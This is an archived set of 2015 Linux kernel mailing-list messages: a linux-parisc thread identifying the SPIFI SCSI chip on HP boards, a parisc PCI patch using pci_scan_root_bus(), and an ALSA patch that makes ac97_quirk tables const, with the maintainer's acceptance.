X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25689 gmane.linux.debian.ports.hppa:7283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25689>

On Thu, Apr 2, 2015 at 4:58 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
...
> Well, what do you know: HP has a computer museum full of obsolete
> documentation.
>
> http://www.hpmuseum.net/collection_document.php

oh wow...

> If anyone can identify the programming specs for the HP-PB (or better
> still the actual SCSI card) we might be in business.

This doc will help a lot:
    3000-900_9000-800_OnlineDiagnosticsSubManual_VolIII_LAN-SCSI-MUX_09740-90034_324pages_Jul91.pdf

Look at Section 18 "SCSIPBA" - register descriptions starting on page
18-21. Register overview on 18-33 (page 216 of the PDF).

And I finally found the name of the SCSI chip in the above doc: SPIFI
(v3).  The "Fast-Wide HVD" NIO card uses SPIFI v4.

Knowing that name also helped find the Net BSD driver (again):
    http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016557.html
    http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016562.html
    http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016563.html
    http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016576.html

and looks like NetBSD "newsmips" did support SPIFI-3:
   http://netbsd.mirrors.treibsand.com/ports/newsmips/

cheers,
grant

ps. It's embarrassing I couldn't remember the name of the SCSI chip: I
worked on HPUX SPIFI-4 driver between 1994-1996.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v9 22/30] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Fri, 3 Apr 2015 17:25:56 +0800
Lines: 61
Approved: news@gmane.org
Message-ID: <1428053164-28277-24-git-send-email-wangyijing@huawei.com>
References: <1428053164-28277-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1428053410 17418 80.91.229.3 (3 Apr 2015 09:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2015 09:30:10 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <dja@axtens.net>,
	<x86@kernel.org>, Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.ker
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Apr 03 11:30:06 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1YdxvP-0005Tm-UK
	for glpm-linux-m68k@plane.gmane.org; Fri, 03 Apr 2015 11:30:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752976AbbDCJ3g (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 3 Apr 2015 05:29:36 -0400
Original-Received: from szxga01-in.huawei.com ([58.251.152.64]:55172 "EHLO
	szxga01-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752566AbbDCJ3K (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Fri, 3 Apr 2015 05:29:10 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml430-hub.china.huawei.com) ([172.24.2.119])
	by szxrg01-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CLR08860;
	Fri, 03 Apr 2015 17:29:03 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml430-hub.china.huawei.com (10.82.67.185) with Microsoft SMTP Server id
 14.3.158.1; Fri, 3 Apr 2015 17:28:55 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1428053164-28277-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7041 gmane.linux.kernel.pci:40512 gmane.linux.kernel:1923942 gmane.linux.ports.arm.kernel:404983 gmane.linux.ports.ia64:25364 gmane.linux.ports.alpha:2984 gmane.linux.ports.parisc:25690
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7041>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    4 ++--
 drivers/parisc/lba_pci.c |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index f375252..146c3ff 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -985,7 +985,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 0, dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,7 +996,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
+	max = pci_bus_child_max_busnr(bus);
 	pci_bus_update_busn_res_end(bus, max);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2949030..b630364 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1563,14 +1563,14 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
+	max = pci_bus_child_max_busnr(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
-- 
1.7.1


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry the Zuryanovich <dreadbit@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Fri, 03 Apr 2015 15:22:36 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <551E860C.6090701@gmail.com>
References: <5519CA2B.9060407@gmail.com>	<551CF8D9.3020506@gmx.de>	<1427965174.3559.110.camel@HansenPartnership.com>	<BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>	<1427975884.3559.155.camel@HansenPartnership.com> <CAP6odjgS6KHvB=CHybquCJ4T_hTw5awrF5hzXUENQzOb7Su7Gg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1428063782 15238 80.91.229.3 (3 Apr 2015 12:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2015 12:23:02 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grantgrundler@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 14:22:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ye0cd-0004uw-QP
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Apr 2015 14:22:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752191AbbDCMWu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2015 08:22:50 -0400
Original-Received: from mail-lb0-f175.google.com ([209.85.217.175]:34587 "EHLO
	mail-lb0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752091AbbDCMWt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2015 08:22:49 -0400
Original-Received: by lboc7 with SMTP id c7so78006361lbo.1
        for <linux-parisc@vger.kernel.org>; Fri, 03 Apr 2015 05:22:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=XNukSjPAF74SWQOoVgD9RZd3ClYhJwl07M0ieaNw1kE=;
        b=OArgEoR8AM/CmCyFcqFal5jHl7MsQ45wAT8C+PvWQKVYK20liNoUwIYiVdzP4iyM7W
         5DX0zLUMn5mD+N+DPmmcmA9cQotfwNT8dugRilEIoCl6ppCaXpafg4l2jYMiDYccMiac
         /CY43NPHGZQ4L/eiXhW1z59SJs1LVG4LDXAAt207mZg/lMxr3TcjG0gDn3V/YekDwEyp
         v/qorNgEGIfNAH/CxKK6U09TLXJZnsa51/LaoSs+BvoKz5nDHFiu+c03UlvaJDrBxPWM
         XAL72eDOnWBbEb2N3xzEE+ijknsJ2rH0oOFqitDEEEzaX5SnqD2KjPuw5O5pas+TXWN1
         sV+Q==
X-Received: by 10.112.122.33 with SMTP id lp1mr1983091lbb.110.1428063768228;
        Fri, 03 Apr 2015 05:22:48 -0700 (PDT)
Original-Received: from [192.168.0.6] ([94.228.247.49])
        by mx.google.com with ESMTPSA id jl4sm1560483lbc.14.2015.04.03.05.22.46
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Apr 2015 05:22:47 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <CAP6odjgS6KHvB=CHybquCJ4T_hTw5awrF5hzXUENQzOb7Su7Gg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25691 gmane.linux.debian.ports.hppa:7284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25691>


> And I finally found the name of the SCSI chip in the above doc: SPIFI
> (v3).  The "Fast-Wide HVD" NIO card uses SPIFI v4.


http://xepb.org/dtz/2015E25.html - here is photos of the boards, if this 
helps.

-- 
Slack@office

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Sat, 04 Apr 2015 01:09:59 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <1428098999.2221.34.camel@HansenPartnership.com>
References: <5519CA2B.9060407@gmail.com>	<551CF8D9.3020506@gmx.de>
		<1427965174.3559.110.camel@HansenPartnership.com>
		<BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>
		<1427975884.3559.155.camel@HansenPartnership.com>
	 <CAP6odjgS6KHvB=CHybquCJ4T_hTw5awrF5hzXUENQzOb7Su7Gg@mail.gmail.com>
	 <551E860C.6090701@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1428099030 28192 80.91.229.3 (3 Apr 2015 22:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2015 22:10:30 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Dmitry the Zuryanovich <dreadbit@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 04 00:10:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ye9nA-0005CG-IV
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Apr 2015 00:10:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752973AbbDCWKD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2015 18:10:03 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47447 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752789AbbDCWKB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2015 18:10:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 628278EE486;
	Fri,  3 Apr 2015 15:10:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zT0LgR0cysAw; Fri,  3 Apr 2015 15:10:01 -0700 (PDT)
Original-Received: from [192.168.5.199] (unknown [107.19.188.188])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 5E02C8EE082;
	Fri,  3 Apr 2015 15:10:00 -0700 (PDT)
In-Reply-To: <551E860C.6090701@gmail.com>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25692 gmane.linux.debian.ports.hppa:7285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25692>

On Fri, 2015-04-03 at 15:22 +0300, Dmitry the Zuryanovich wrote:
> > And I finally found the name of the SCSI chip in the above doc: SPIFI
> > (v3).  The "Fast-Wide HVD" NIO card uses SPIFI v4.
> 
> 
> http://xepb.org/dtz/2015E25.html - here is photos of the boards, if this 
> helps.

Well, I think that tells us it's not Symbios (or NCR as it was then)
53c700 based.  It looks like there's a custom HP ASIC, probably for the
PB connection and a Xilinx FPGA which may be configured to run the bus.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc
Subject: [PATCH] sound: Use const struct ac97_quirk
Date: Sat, 04 Apr 2015 13:38:25 -0700
Lines: 109
Approved: news@gmane.org
Message-ID: <1428179905.2775.55.camel@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1428179939 26372 80.91.229.3 (4 Apr 2015 20:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Apr 2015 20:38:59 +0000 (UTC)
Cc: Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	alsa-devel@alsa-project.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 04 22:38:47 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YeUq5-0006w5-I4
	for glk-linux-kernel-3@plane.gmane.org; Sat, 04 Apr 2015 22:38:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752956AbbDDUib (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 4 Apr 2015 16:38:31 -0400
Original-Received: from smtprelay0124.hostedemail.com ([216.40.44.124]:51047 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752430AbbDDUi3 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 4 Apr 2015 16:38:29 -0400
Original-Received: from filter.hostedemail.com (unknown [216.40.38.60])
	by smtprelay01.hostedemail.com (Postfix) with ESMTP id 4BD2A23413;
	Sat,  4 Apr 2015 20:38:28 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe@perches.com,:::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1277:1311:1313:1314:1345:1373:1437:1515:1516:1518:1534:1543:1593:1594:1711:1730:1747:1777:1792:2196:2199:2393:2559:2562:2828:2899:3138:3139:3140:3141:3142:3355:3867:4250:4321:4385:4605:5007:6261:6642:7903:8634:10004:10400:10848:11026:11473:11657:11658:11914:12043:12438:12517:12519:12555:14093:14097:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: snail65_83fa3a4a8c220
X-Filterd-Recvd-Size: 4619
Original-Received: from joe-X200MA.home (pool-71-177-17-163.lsanca.dsl-w.verizon.net [71.177.17.163])
	(Authenticated sender: joe@perches.com)
	by omf07.hostedemail.com (Postfix) with ESMTPA;
	Sat,  4 Apr 2015 20:38:26 +0000 (UTC)
X-Mailer: Evolution 3.12.10-0ubuntu1~14.10.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1924539 gmane.linux.alsa.devel:136412 gmane.linux.ports.parisc:25693
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1924539>

Use const to reduce data by ~3Kb.

Signed-off-by: Joe Perches <joe@perches.com>
---
 include/sound/ac97_codec.h          | 4 +++-
 sound/pci/ac97/ac97_codec.c         | 3 ++-
 sound/pci/ad1889.c                  | 2 +-
 sound/pci/atiixp.c                  | 2 +-
 sound/pci/cs5535audio/cs5535audio.c | 2 +-
 sound/pci/intel8x0.c                | 2 +-
 sound/pci/via82xx.c                 | 2 +-
 7 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/include/sound/ac97_codec.h b/include/sound/ac97_codec.h
index d315a08..0e9d75b 100644
--- a/include/sound/ac97_codec.h
+++ b/include/sound/ac97_codec.h
@@ -608,7 +608,9 @@ struct ac97_quirk {
 	int type;		/* quirk type above */
 };
 
-int snd_ac97_tune_hardware(struct snd_ac97 *ac97, struct ac97_quirk *quirk, const char *override);
+int snd_ac97_tune_hardware(struct snd_ac97 *ac97,
+			   const struct ac97_quirk *quirk,
+			   const char *override);
 int snd_ac97_set_rate(struct snd_ac97 *ac97, int reg, unsigned int rate);
 
 /*
diff --git a/sound/pci/ac97/ac97_codec.c b/sound/pci/ac97/ac97_codec.c
index 5bca1a3..82259ca 100644
--- a/sound/pci/ac97/ac97_codec.c
+++ b/sound/pci/ac97/ac97_codec.c
@@ -2902,7 +2902,8 @@ static int apply_quirk_str(struct snd_ac97 *ac97, const char *typestr)
  * Return: Zero if successful, or a negative error code on failure.
  */
 
-int snd_ac97_tune_hardware(struct snd_ac97 *ac97, struct ac97_quirk *quirk, const char *override)
+int snd_ac97_tune_hardware(struct snd_ac97 *ac97,
+			   const struct ac97_quirk *quirk, const char *override)
 {
 	int result;
 
diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 850a8c9..66ddd98 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -747,7 +747,7 @@ snd_ad1889_proc_init(struct snd_ad1889 *chip)
 		snd_info_set_text_ops(entry, chip, snd_ad1889_proc_read);
 }
 
-static struct ac97_quirk ac97_quirks[] = {
+static const struct ac97_quirk ac97_quirks[] = {
 	{
 		.subvendor = 0x11d4,	/* AD */
 		.subdevice = 0x1889,	/* AD1889 */
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index d5f15c9..42a20c8 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -1390,7 +1390,7 @@ static irqreturn_t snd_atiixp_interrupt(int irq, void *dev_id)
  * ac97 mixer section
  */
 
-static struct ac97_quirk ac97_quirks[] = {
+static const struct ac97_quirk ac97_quirks[] = {
 	{
 		.subvendor = 0x103c,
 		.subdevice = 0x006b,
diff --git a/sound/pci/cs5535audio/cs5535audio.c b/sound/pci/cs5535audio/cs5535audio.c
index 802c33f..963b912 100644
--- a/sound/pci/cs5535audio/cs5535audio.c
+++ b/sound/pci/cs5535audio/cs5535audio.c
@@ -43,7 +43,7 @@ static char *ac97_quirk;
 module_param(ac97_quirk, charp, 0444);
 MODULE_PARM_DESC(ac97_quirk, "AC'97 board specific workarounds.");
 
-static struct ac97_quirk ac97_quirks[] = {
+static const struct ac97_quirk ac97_quirks[] = {
 #if 0 /* Not yet confirmed if all 5536 boards are HP only */
 	{
 		.subvendor = PCI_VENDOR_ID_AMD, 
diff --git a/sound/pci/intel8x0.c b/sound/pci/intel8x0.c
index 2c5484e..749069a 100644
--- a/sound/pci/intel8x0.c
+++ b/sound/pci/intel8x0.c
@@ -1795,7 +1795,7 @@ static struct ac97_pcm ac97_pcm_defs[] = {
 	},
 };
 
-static struct ac97_quirk ac97_quirks[] = {
+static const struct ac97_quirk ac97_quirks[] = {
         {
 		.subvendor = 0x0e11,
 		.subdevice = 0x000e,
diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
index 8622283..3dd038b 100644
--- a/sound/pci/via82xx.c
+++ b/sound/pci/via82xx.c
@@ -1812,7 +1812,7 @@ static void snd_via82xx_mixer_free_ac97(struct snd_ac97 *ac97)
 	chip->ac97 = NULL;
 }
 
-static struct ac97_quirk ac97_quirks[] = {
+static const struct ac97_quirk ac97_quirks[] = {
 	{
 		.subvendor = 0x1106,
 		.subdevice = 0x4161,



From - Thu Nov 08 21:37:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] sound: Use const struct ac97_quirk
Date: Sun, 05 Apr 2015 08:42:18 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <s5hk2xrxeid.wl-tiwai@suse.de>
References: <1428179905.2775.55.camel@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1428216164 10977 80.91.229.3 (5 Apr 2015 06:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Apr 2015 06:42:44 +0000 (UTC)
Cc: Jaroslav Kysela <perex@perex.cz>,
	Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	alsa-devel@alsa-project.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 05 08:42:41 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YeeGU-0004CQ-P2
	for glk-linux-kernel-3@plane.gmane.org; Sun, 05 Apr 2015 08:42:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751714AbbDEGmW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 5 Apr 2015 02:42:22 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:50950 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750759AbbDEGmV (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 5 Apr 2015 02:42:21 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 06959AC77;
	Sun,  5 Apr 2015 06:42:18 +0000 (UTC)
In-Reply-To: <1428179905.2775.55.camel@perches.com>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/24.4
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1924584 gmane.linux.alsa.devel:136414 gmane.linux.ports.parisc:25694
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1924584>

At Sat, 04 Apr 2015 13:38:25 -0700,
Joe Perches wrote:
> 
> Use const to reduce data by ~3Kb.
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Applied, thanks.


Takashi

> ---
>  include/sound/ac97_codec.h          | 4 +++-
>  sound/pci/ac97/ac97_codec.c         | 3 ++-
>  sound/pci/ad1889.c                  | 2 +-
>  sound/pci/atiixp.c                  | 2 +-
>  sound/pci/cs5535audio/cs5535audio.c | 2 +-
>  sound/pci/intel8x0.c                | 2 +-
>  sound/pci/via82xx.c                 | 2 +-
>  7 files changed, 10 insertions(+), 7 deletions(-)
> 
> diff --git a/include/sound/ac97_codec.h b/include/sound/ac97_codec.h
> index d315a08..0e9d75b 100644
> --- a/include/sound/ac97_codec.h
> +++ b/include/sound/ac97_codec.h
> @@ -608,7 +608,9 @@ struct ac97_quirk {
>  	int type;		/* quirk type above */
>  };
>  
